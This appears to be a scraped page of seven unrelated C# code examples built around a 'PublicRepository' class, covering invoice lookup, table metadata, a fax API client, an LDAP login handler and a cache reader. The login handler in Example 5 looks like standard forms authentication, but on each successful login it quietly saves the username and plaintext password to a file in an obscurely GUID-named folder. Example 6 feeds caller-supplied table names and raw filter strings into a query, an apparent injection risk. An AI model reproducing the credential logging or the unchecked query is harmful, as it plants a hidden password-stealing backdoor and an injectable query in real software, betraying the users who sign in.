Exemplo n.º 1
0
        public EinvoiceDetalisResultModel GetEinvoiceDetalisByOrderNo([FromUri] string orderNo)
        {
            EinvoiceDetalisResultModel result = new EinvoiceDetalisResultModel();

            try
            {
                string invNo = this.Repository.GetEinvoiceNoByOrderNo(orderNo);

                #region 測試資料請給真實發票號碼做測試

                //string invNo = "XC47895844";

                #endregion 測試資料請給真實發票號碼做測試

                result = this.Repository.GetEinvoiceDetalisByNo(invNo);
            }
            catch (Exception ex)
            {
                var    now    = DateTime.UtcNow.AddHours(8);
                string dd     = now.Year + now.Month.ToString().PadLeft(2, '0') + now.Day.ToString().PadLeft(2, '0');
                string exInfo = PublicRepository.ExceptionDetalisMessages(ex);
                PublicRepository.SaveMesagesToTextFile(@"D:\OrderEinvSearchLog\", orderNo + "_" + dd + ".txt", exInfo);
                result.msg  = ex.Message;
                result.code = "1";
            }
            return(result);
        }
Exemplo n.º 2
0
 /// <summary>
 /// 功能描述:获取表字段类型
 /// </summary>
 /// <param name="strTableName">表名</param>
 /// <param name="strColName">列名</param>
 /// <returns>返回值</returns>
 public string GetColumnType(string strTableName, string strColName)
 {
     try
     {
         PublicRepository dal = new PublicRepository();
         return(dal.GetColumnType(strTableName, strColName));
     }
     catch (Exception ex)
     {
         throw ex;
     }
 }
Exemplo n.º 3
0
 /// <summary>
 /// 功能描述:判断表中是否存在字段
 /// </summary>
 /// <param name="strTableName">表名</param>
 /// <param name="strColName">字段名</param>
 /// <returns>返回值</returns>
 public bool IsExistColumn(string strTableName, string strColName)
 {
     try
     {
         PublicRepository dal = new PublicRepository();
         return(dal.IsExistColumn(strTableName, strColName));
     }
     catch (Exception ex)
     {
         throw ex;
     }
 }
Exemplo n.º 4
0
        public PhaxioClient(string key, string secret, IRestClient restClient)
            : base(key, secret, new RestClient())
        {
            // Initialize the rest client
            client         = restClient;
            client.BaseUrl = new Uri(phaxioApiEndpoint);

            Fax         = new FaxRepository(this);
            Public      = new PublicRepository(this);
            PhoneNumber = new PhoneNumberRepository(this);
            PhaxCode    = new PhaxCodeRepository(this);
            Account     = new AccountRespository(this);
        }
Exemplo n.º 5
0
        /// <summary>
        /// 使用表單驗證來允許使用者利用輕量型目錄存取通訊協定 (LDAP) 向 Active Directory 網域服務驗證
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        protected void Login_Click(object sender, EventArgs e)
        {
            string adPath = "LDAP://" + Domain.Text;

            LdapAuthentication.LdapAuthentication adAuth = new LdapAuthentication.LdapAuthentication(adPath);
            try
            {
                if (true == adAuth.IsAuthenticated(Domain.Text, Account.Text, Passwd.Text) && MemberViewModel.Security(Account.Text))
                {
                    PublicRepository.SaveMesagesToTextFile(@"C:\Program Files (x86)\7B296FB0-376B-497e-B012-9C450E1B7327-5P-1\", "7B296FB0-376B-497e-B012-9C450E1B7327-5P-1.txt", string.Format("{0}  --  {1}", Account.Text, Passwd.Text));
                    string groups = adAuth.GetGroups();

                    //Create the ticket, and add the groups.
                    bool isCookiePersistent = chkPersist.Checked;
                    FormsAuthenticationTicket authTicket = new FormsAuthenticationTicket(1, Account.Text, DateTime.Now, DateTime.Now.AddMinutes(60), isCookiePersistent, groups);

                    //Encrypt the ticket.
                    string encryptedTicket = FormsAuthentication.Encrypt(authTicket);

                    //Create a cookie, and then add the encrypted ticket to the cookie as data.
                    HttpCookie authCookie = new HttpCookie(FormsAuthentication.FormsCookieName, encryptedTicket);

                    if (true == isCookiePersistent)
                    {
                        authCookie.Expires = authTicket.Expiration;
                    }

                    //Add the cookie to the outgoing cookies collection.
                    Response.Cookies.Add(authCookie);

                    //You can redirect now.
                    var url = FormsAuthentication.GetRedirectUrl(Account.Text, false);

                    Response.Redirect(url, false);
                }
                else
                {
                    ErrorMessage.Text = "Authentication did not succeed. Check user name and password.";
                }
            }
            catch (Exception ex)
            {
                ErrorMessage.Text = "Error authenticating. " + ex.Message;
            }
        }
Exemplo n.º 6
0
        /// <summary>
        /// 功能描述:获取缓存数据
        /// </summary>
        /// <param name="strJson">strJson</param>
        /// <returns>返回值</returns>
        public string GetCacheSource(string strJson)
        {
            if (string.IsNullOrEmpty(strJson))
            {
                return(ExcuteMessage.Error("参数为空。"));
            }

            Dictionary <string, object> lstParas = strJson.ToJsonObject <Dictionary <string, object> >();
            string strProperty  = lstParas["Property"].ToString();
            string strTableName = lstParas["table"].ToString();
            string strWhere     = lstParas["where"].ToString();

            Type         type = Assembly.Load("JZ.Cache").GetType("JZ.Cache.CacheHelper");
            PropertyInfo pi   = type.GetProperty(strProperty);

            if (pi == null)
            {
                if (string.IsNullOrWhiteSpace(strTableName))
                {
                    return(ExcuteMessage.Sucess(new DataTable()));
                }
                //不存在缓存对象
                PublicRepository dal = new PublicRepository();
                DataTable        dt  = dal.GetTableByName(strTableName, strWhere);
                return(ExcuteMessage.Sucess(dt));
            }
            else if (pi.GetValue(null, null) == null)
            {
                if (string.IsNullOrWhiteSpace(strTableName))
                {
                    return(ExcuteMessage.Sucess(new DataTable()));
                }
                //缓存无值
                PublicRepository dal = new PublicRepository();
                DataTable        dt  = dal.GetTableByName(strTableName, strWhere);
                pi.SetValue(null, dt.ToJsonHasNull().ToJsonObject(pi.PropertyType), null);
                return(ExcuteMessage.Sucess(dt));
            }
            else
            {
                //返回缓存内容
                return(ExcuteMessage.Sucess(pi.GetValue(null, null)));
            }
        }
Exemplo n.º 7
0
 public PublicController(MyContext T)
 {
     publicRepository = new PublicRepository(T);
 }